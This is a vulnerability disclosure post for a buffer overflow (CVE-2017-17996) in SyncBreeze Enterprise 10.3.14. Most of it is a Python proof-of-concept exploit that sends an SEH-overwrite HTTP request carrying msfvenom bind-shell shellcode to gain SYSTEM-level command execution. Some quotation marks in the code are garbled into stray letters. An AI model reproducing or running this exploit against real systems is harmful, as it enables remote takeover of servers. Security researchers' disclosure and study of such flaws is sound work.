Hi List,
Description:
A buffer overflow vulnerability in "Add command" functionality exists in Flexenseas SyncBreeze Enterprise <= 10.3.14. The vulnerability can be triggered by an authenticated attacker who submits more than 5000 characters as the command name. It will cause termination of the SyncBreeze Enterprise server and possibly remote command execution with SYSTEM privilege.
Author:
@ryantzj
www.ryantzj.com
Homepage:
http://http://www.syncbreeze.com/
CVE-ID:
CVE-2017-17996 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17996
CVSSv3 Score:
9.9
CVSSv3 Vector
(/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Proof of Concept
#!/usr/bin/python
import socket
buffsize = 5000
#msfvenom -p windows/shell_bind_tcp LPORT=443 EXITFUNC=seh --bad-chars '\x0d\x0a\x00\x27\x22\x08\x09\x1b\x5c\x5f\x25\x26\x3d\x2b' -f python -v shellcode
shellcode = ""
shellcode += "\x33\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0\x5e"
shellcode += "\x81\x76\x0e\x93\xfe\x85\x99\x83\xee\xfc\xe2\xf4"
shellcode += "\x6f\x16\x07\x99\x93\xfe\xe5\x10\x76\xcf\x45\xfd"
shellcode += "\x18\xae\xb5\x12\xc1\xf2\x0e\xcb\x87\x75\xf7\xb1"
shellcode += "\x9c\x49\xcf\xbf\xa2\x01\x29\xa5\xf2\x82\x87\xb5"
shellcode += "\xb3\x3f\x4a\x94\x92\x39\x67\x6b\xc1\xa9\x0e\xcb"
shellcode += "\x83\x75\xcf\xa5\x18\xb2\x94\xe1\x70\xb6\x84\x48"
shellcode += "\xc2\x75\xdc\xb9\x92\x2d\x0e\xd0\x8b\x1d\xbf\xd0"
shellcode += "\x18\xca\x0e\x98\x45\xcf\x7a\x35\x52\x31\x88\x98"
shellcode += "\x54\xc6\x65\xec\x65\xfd\xf8\x61\xa8\x83\xa1\xec"
shellcode += "\x77\xa6\x0e\xc1\xb7\xff\x56\xff\x18\xf2\xce\x12"
shellcode += "\xcb\xe2\x84\x4a\x18\xfa\x0e\x98\x43\x77\xc1\xbd"
shellcode += "\xb7\xa5\xde\xf8\xca\xa4\xd4\x66\x73\xa1\xda\xc3"
shellcode += "\x18\xec\x6e\x14\xce\x96\xb6\xab\x93\xfe\xed\xee"
shellcode += "\xe0\xcc\xda\xcd\xfb\xb2\xf2\xbf\x94\x01\x50\x21"
shellcode += "\x03\xff\x85\x99\xba\x3a\xd1\xc9\xfb\xd7\x05\xf2"
shellcode += "\x93\x01\x50\xf3\x9b\xa7\xd5\x7b\x6e\xbe\xd5\xd9"
shellcode += "\xc3\x96\x6f\x96\x4c\x1e\x7a\x4c\x04\x96\x87\x99"
shellcode += "\x92\x45\x0c\x7f\xf9\xee\xd3\xce\xfb\x3c\x5e\xae"
shellcode += "\xf4\x01\x50\xce\xfb\x49\x6c\xa1\x6c\x01\x50\xce"
shellcode += "\xfb\x8a\x69\xa2\x72\x01\x50\xce\x04\x96\xf0\xf7"
shellcode += "\xde\x9f\x7a\x4c\xfb\x9d\xe8\xfd\x93\x77\x66\xce"
shellcode += "\xc4\xa9\xb4\x6f\xf9\xec\xdc\xcf\x71\x03\xe3\x5e"
shellcode += "\xd7\xda\xb9\x98\x92\x73\xc1\xbd\x83\x38\x85\xdd"
shellcode += "\xc7\xae\xd3\xcf\xc5\xb8\xd3\xd7\xc5\xa8\xd6\xcf"
shellcode += "\xfb\x87\x49\xa6\x15\x01\x50\x10\x73\xb0\xd3\xdf"
shellcode += "\x6c\xce\xed\x91\x14\xe3\xe5\x66\x46\x45\x7b\x97"
shellcode += "\xa1\x14\xed\x3f\x06\x43\x18\x66\x46\xc2\x83\xe5"
shellcode += "\x99\x7e\x7e\x79\xe6\xfb\x3e\xde\x80\x8c\xea\xf3"
shellcode += "\x93\xad\x7a\x4c"
jmp2 = "\xE9\x42\xFE\xFF\xFF"
payload = aAa*(432-len(shellcode)-20) #eip offset at 436
payload += "\x90"*12
payload += shellcode
payload += "\x90"*8
payload += "\x71\x06\x70\x04" #NSEH, a jump net
payload += "\xB1\x41\x01\x10" #SEH
payload += "\x90"
payload += jmp2 #jmp back to shellcode
payload +=aCa*(buffsize) #ends at 83 bytes
buffer ="POST /add_command?sid=c5ecca3e01e7d15b0a490fc197f14395 HTTP/1.1\r\n"
buffer +="Host: 192.168.38.154\r\n"
buffer +="Content-Type: application/x-www-form-urlencoded\r\n"
buffer +="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
buffer +=aContent-Length: a+str(len(payload)+13)+"\r\n\r\n"
buffer +=acommand_name=a+payload
print a[*] Sending evil HTTP request to syncbrza
print a[*] exploited by @ryantzja
print a[*] Please modify session id and target host to get exploit workinga
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((a192.168.38.154a,80))
expl.send(buffer)
print expl.recv(1024)
expl.close
Disclosure Timeline
December 29, 2017 1: Vulnerability acquired by ryantzj
December 30, 2017 2: Informed vendor via support@syncbreeze.com
January 31, 2018 3: Exploit published
Regards,
ryantzj
